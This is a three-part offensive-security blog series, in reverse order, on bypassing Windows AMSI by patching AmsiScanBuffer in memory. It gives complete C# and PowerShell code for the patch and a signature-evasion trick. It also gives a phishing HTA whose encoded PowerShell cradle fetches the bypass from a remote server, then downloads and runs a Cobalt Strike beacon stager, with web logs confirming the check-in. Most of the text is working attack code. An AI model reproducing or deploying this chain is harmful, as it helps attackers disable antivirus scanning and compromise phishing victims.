AmsiScanBuffer Bypass — Part 3

( Original text by  )

In Part 2, we engineered a delivery method for the AmsiScanBuffer Bypass discussed in Part 1. In this post, we’ll make some modifications to the bypass itself.

If you read Part 1 and the original posts from CyberArk, you will know that the bypass works by patching the AMSI DLL in memory. But before we make any modifications to the bypass — let’s explore that in some additional detail, so we all have a clear baseline understanding.

Bypass Primer

We can use API Monitor to have a peak at what’s going on.

To summerise what we’re looking at:

  1. powershell.exe

     starts and 

    amsi.dll

     is loaded into its memory space.

  2. We type something into the console.
  3. The 
    AmsiScanBuffer

     function is called.

  4. Where our input is passed into.

This is the AmsiScanBuffer function as documented by Microsoft:


<span class="function">HRESULT <span class="title">AmsiScanBuffer</span><span class="params">(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
)</span></span>;

We won’t worry about all of this — just the idea that we have a 

buffer

 of 

length

, that when scanned, returns a 

result

. To help visualise the bypass, let’s throw PowerShell into a debugger.

We’ll set a breakpoint on the 

AmsiScanBuffer

 function and type something into the console.

We step down to the 

mov edi, r8d

 instruction — because we know from CyberArk that 

r8d

 contains the 

length

 of the 

buffer

. We can also see that in Binary Ninja.

After the instruction, both 

edi

 and 

r8d

 contain 

2c

 — which in decimal is 

44

. Our string 

"this is some garbage"

 is 

22

 characters, so this checks out (bits and bytes, amirite). In the context of 

AmsiScanBuffer

, it’s saying “scan 22 bytes of this buffer”.

The bypass works by slightly patching this instruction — changing 

mov edi, r8d

 to 

xor edi, edi

. Because if you 

xor

 two identical values, i.e. the current value of 

edi

 (whatever it happens to be) with itself, the result is always 

0

. So if we run the bypass and look at the instructions again…

edi

 is now zero — i.e. “scan 0 bytes of this buffer”. So if 

AmsiScanBuffer

 scans 

0

 bytes, it will not actually scan anything at all.

AMSI_RESULT_CLEAN

So the whole reason for this post, is that I was talking to Kuba Gretzky about the bypass after I’d posted my Part 1. He said:

the risky part with the bypass is that it uses a fixed offset from the start of the function 

AmsiScanBufferPtr + 0x001b

. MS can just slightly modify the 

AmsiScanBuffer

 function and the bypass will result in a crash. It would be wiser to do hotpatching at the beginning of the function to return a result that would say that nothing was found.

If we have have a look at the 

AMSI_RESULT

 details that we glossed over previously — there are different results that can be returned.


typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;

So could we just patch the function so that it always returns 

AMSI_RESULT_CLEAN

?

Revisiting the 

AmsiScanBuffer

 function in Binary Ninja, we can see there are a whole bunch of instructions followed by conditional jumps, but all to the same address: 

0x180024f5

.

The content of which is a 

mov eax, 0x80070057

 instruction, which we guessed meant 

AMSI_RESULT_CLEAN

.

The original bypass was:


Byte[] Patch = { <span class="number">0x31</span>, <span class="number">0xff</span>, <span class="number">0x90</span> };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(<span class="number">3</span>);
Marshal.Copy(Patch, <span class="number">0</span>, unmanagedPointer, <span class="number">3</span>);
MoveMemory(ASBPtr + <span class="number">0x001b</span>, unmanagedPointer, <span class="number">3</span>);

Which we modified to:


Byte[] Patch = { <span class="number">0xB8</span>, <span class="number">0x57</span>, <span class="number">0x00</span>, <span class="number">0x07</span>, <span class="number">0x80</span>, <span class="number">0xC3</span> };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(<span class="number">6</span>);
Marshal.Copy(Patch, <span class="number">0</span>, unmanagedPointer, <span class="number">6</span>);
MoveMemory(ASBPtr, unmanagedPointer, <span class="number">6</span>);

Where 

0xB8, 0x57, 0x00, 0x07, 0x80

 are the (hex) opcodes for 

mov eax, 0x80070057

; and 

0xC3

 is a 

retn

. And notice there is no offset — we are patching the first two instructions in the function.

Before we carry out this patch, we can verify those first two instructions at the 

AmsiScanBuffer

 pointer.

They match what we expect from Binary Ninja. If we implement our new patch and look again…

The rest of the instructions become a bit munged, but that doesn’t matter. Hopefully we’ll just enter 

AmsiScanBuffer

, immediately set 

eax

 and 

return

.

Which seems to work just fine.

This is no “better” than the previous bypass, but hopefully will be a little more resilient against future modifications to 

amsi.dll

 by Microsoft.

AmsiScanBuffer Bypass — Part 2

( Original text by  )

In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.

In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop — it’s a demonstration of how I walked through engineering the final result.

So, let’s get cracking.

Before we start, we have a few goals in mind:

  1. Deliver “something” to a user, via a phish or some other social engineering event.
  2. The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
  3. Perform the AMSI bypass.
  4. If the bypass was successful, stage a beacon.
  5. Otherwise, run for the hills.

For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple 🙂

Generate Stager

We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.

AMSI Bypass

For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use 

Add-Type

 to make it available within the PowerShell session.

$Ref = (
«System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089«,
«System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a«
)
$Source =
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport(«kernel32»)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(«kernel32»)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(«kernel32»)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport(«Kernel32.dll», EntryPoint = «RtlMoveMemory», SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary(«amsi.dll»);
if (TargetDLL == IntPtr.Zero) { return 1; }
IntPtr ASBPtr = GetProcAddress(TargetDLL, «Amsi» + «Scan» + «Buffer»);
if (ASBPtr == IntPtr.Zero) { return 1; }
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
return 0;
}
}
}
«@
Add-Type ReferencedAssemblies $Ref TypeDefinition $Source Language CSharp
view rawASBBypass.ps1 hosted with ❤ by GitHub

We’ll then test it out by downloading and executing it, then running the stager that failed earlier.

All good so far.

Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the 

Disable()

 function where it returns an 

int

 of 

1

 if something fails and 

0

 if it makes it to the end.

So in pseudo-code we can say something like 

execute bypass; if (bypass -eq "0") { execute stager }

. If 

bypass

 returns 

1

, we naturally don’t do anything more.

HTA

To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.


<span class="variable">$string</span> = <span class="string">'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'</span>
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

The final HTA is nice and small.


<span class="tag">&lt;<span class="name">script</span> <span class="attr">language</span>=<span class="string">"VBScript"</span>&gt;</span><span class="javascript">
    <span class="built_in">Function</span> var_func()
        Dim var_shell
        <span class="built_in">Set</span> var_shell = CreateObject(<span class="string">"Wscript.Shell"</span>)
        var_shell.run <span class="string">"powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA="</span>, <span class="number">0</span>, <span class="literal">true</span>
    End <span class="built_in">Function</span>

    var_func
    self.close
</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>

Finally, we host the HTA and test it with 

C:\Users\Rasta&gt;mshta http://192.168.214.129/delivery.hta

.

The web logs show us exactly what we expect.

  1. AMSI download
  2. Stager download
  3. Beacon checkin

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /amsi-bypass
    page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /stager
    page Serves /opt/cobaltstrike/uploads/stager.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /__init.gif
    beacon beacon stager x64
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

Awesome sauce. And for those who want it, I also uploaded the code to GitHub.

AmsiScanBuffer Bypass — Part 1

( Original text by  )

Andre Marques recently posted a pretty nice write-up for circumventing AMSI, based on previous work by CyberArk.

Please read these for all the technical details — we’re launching this post with the C# code from Andre:


<span class="keyword">using</span> System;
<span class="keyword">using</span> System.Runtime.InteropServices;

<span class="keyword">namespace</span> Bypass
{
    <span class="keyword">public</span> <span class="keyword">class</span> AMSI
    {
        [DllImport(<span class="string">"kernel32"</span>)]
        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">GetProcAddress</span><span class="params">(IntPtr hModule, <span class="built_in">string</span> procName)</span></span>;
        [DllImport(<span class="string">"kernel32"</span>)]
        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">LoadLibrary</span><span class="params">(<span class="built_in">string</span> name)</span></span>;
        [DllImport(<span class="string">"kernel32"</span>)]
        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> <span class="keyword">bool</span> <span class="title">VirtualProtect</span><span class="params">(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect)</span></span>;

        [DllImport(<span class="string">"Kernel32.dll"</span>, EntryPoint = <span class="string">"RtlMoveMemory"</span>, SetLastError = <span class="literal">false</span>)]
        <span class="function"><span class="keyword">static</span> <span class="keyword">extern</span> <span class="keyword">void</span> <span class="title">MoveMemory</span><span class="params">(IntPtr dest, IntPtr src, <span class="keyword">int</span> size)</span></span>;


        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">int</span> <span class="title">Disable</span><span class="params">()</span>
        </span>{
            IntPtr TargetDLL = LoadLibrary(<span class="string">"amsi.dll"</span>);
            <span class="keyword">if</span> (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine(<span class="string">"ERROR: Could not retrieve amsi.dll pointer."</span>);
                <span class="keyword">return</span> <span class="number">1</span>;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, <span class="string">"AmsiScanBuffer"</span>);
            <span class="keyword">if</span> (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine(<span class="string">"ERROR: Could not retrieve AmsiScanBuffer function pointer"</span>);
                <span class="keyword">return</span> <span class="number">1</span>;
            }

            UIntPtr dwSize = (UIntPtr)<span class="number">5</span>;
            uint Zero = <span class="number">0</span>;
            <span class="keyword">if</span> (!VirtualProtect(AmsiScanBufferPtr, dwSize, <span class="number">0x40</span>, out Zero))
            {
                Console.WriteLine(<span class="string">"ERROR: Could not change AmsiScanBuffer memory permissions!"</span>);
                <span class="keyword">return</span> <span class="number">1</span>;
            }

            <span class="comment">/*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */</span>
            Byte[] Patch = { <span class="number">0x31</span>, <span class="number">0xff</span>, <span class="number">0x90</span> };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(<span class="number">3</span>);
            Marshal.Copy(Patch, <span class="number">0</span>, unmanagedPointer, <span class="number">3</span>);
            MoveMemory(AmsiScanBufferPtr + <span class="number">0x001b</span>, unmanagedPointer, <span class="number">3</span>);

            Console.WriteLine(<span class="string">"AmsiScanBuffer patch has been applied."</span>);
            <span class="keyword">return</span> <span class="number">0</span>;
        }
    }
}

I don’t think it’s clear from Andre’s post which version of Windows 10 he was testing against, but the CyberArk post specifically references 1709 (17074) and was originally posted on 23 May 2018. Microsoft have been doing a really effective job as of late, with keeping Defender and AMSI up-to-date. Even though MSRC said they would not fix it, they did say:

We don’t see this as a security vulnerability – but we’ll definitely look into what we can do to prevent (or detect) this type of attacks.

So at the time of writing (29 October 2018), I’m on Windows 10 1803 (17134). Does this bypass still work? Turns out the answer is yes, and no.

I copied the code verbatim, compiled to a DLL and attempted to load it via reflection, which failed:

Not a good start.

I had some suspects in mind, such as:

  • IntPtr TargetDLL = LoadLibrary("amsi.dll");

     <- Maybe just loading AMSI is bad, but unlikely.

  • IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

     <- Finding the address of AmsiScanBuffer.

  • if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))

     <- Modifying the permissions of a memory region.

And pretty much all of this…


Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

Because the code is relatively short, I thought I would just step through it line-by-line to see if I could find the offending content. I did this in PowerShell ISE, by putting all the C# into a text variable and “running” the script. Then, systematically removing a couple of lines of code each time, until I got to the point AMSI wasn’t flagging anymore.

To simplfy the process, I shortened the code a bit more by removing the 

if

 statements and removing console output. So my version became:


<span class="keyword">using</span> System;
<span class="keyword">using</span> System.Runtime.InteropServices;

<span class="keyword">namespace</span> Bypass
{
    <span class="keyword">public</span> <span class="keyword">class</span> AMSI
    {
        [DllImport(<span class="string">"kernel32"</span>)]
        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">GetProcAddress</span><span class="params">(IntPtr hModule, <span class="built_in">string</span> procName)</span></span>;
        [DllImport(<span class="string">"kernel32"</span>)]
        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">LoadLibrary</span><span class="params">(<span class="built_in">string</span> name)</span></span>;
        [DllImport(<span class="string">"kernel32"</span>)]
        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> <span class="keyword">bool</span> <span class="title">VirtualProtect</span><span class="params">(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect)</span></span>;

        [DllImport(<span class="string">"Kernel32.dll"</span>, EntryPoint = <span class="string">"RtlMoveMemory"</span>, SetLastError = <span class="literal">false</span>)]
        <span class="function"><span class="keyword">static</span> <span class="keyword">extern</span> <span class="keyword">void</span> <span class="title">MoveMemory</span><span class="params">(IntPtr dest, IntPtr src, <span class="keyword">int</span> size)</span></span>;

        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">int</span> <span class="title">Disable</span><span class="params">()</span>
        </span>{
            IntPtr TargetDLL = LoadLibrary(<span class="string">"amsi.dll"</span>);
            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, <span class="string">"AmsiScanBuffer"</span>);

            UIntPtr dwSize = (UIntPtr)<span class="number">5</span>;
            uint Zero = <span class="number">0</span>;

            VirtualProtect(AmsiScanBufferPtr, dwSize, <span class="number">0x40</span>, out Zero);

            Byte[] Patch = { <span class="number">0x31</span>, <span class="number">0xff</span>, <span class="number">0x90</span> };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(<span class="number">3</span>);
            Marshal.Copy(Patch, <span class="number">0</span>, unmanagedPointer, <span class="number">3</span>);
            MoveMemory(AmsiScanBufferPtr + <span class="number">0x001b</span>, unmanagedPointer, <span class="number">3</span>);

            <span class="keyword">return</span> <span class="number">0</span>;
        }
    }
}

Eventually, I found only 3 lines were causing the alerts. 

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))

 and 

MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

.

The one thing they all have in common…? Yep, the string (or substring) 

AmsiScanBuffer

!

You can actually test this by just typing it into a PowerShell window…

And some funny consequences…

It’s also worth noting 

"Amsi Scan Buffer"

 also flags, but others like 

"AmsixScanxBuffer"

 or 

"Amsi.Scan.Buffer"

 are fine.

But this also means the reason my first reflection test failed, was probably down to this string being in my path and not the actual file itself. So I renamed everything and tried again…

Success.

This is still only a “somewhat limited” solution, because there are more ways we might want to load this code. If we want to use this directly in a PowerShell script, we could do 

[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String(""))

 without issue, which to be honest, is probably the most elegant way.

But if we want to do it this way, we’re still stuck.


<span class="variable">$Ref</span> = (
    [...]
)

<span class="variable">$Source</span> = @<span class="string">"
[...]
"</span>@

Add-Type [...]

Of course, this is relatively straight forward to fix.

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

 becomes 

IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");

.

VirtualProtect(AmsiScanBufferPtr, (UIntPtr) 5, 0x40, out uint Zero);

 becomes 

VirtualProtect(ASBPtr, dwSize, 0x40, out Zero);

.

MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

 becomes 

MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);

.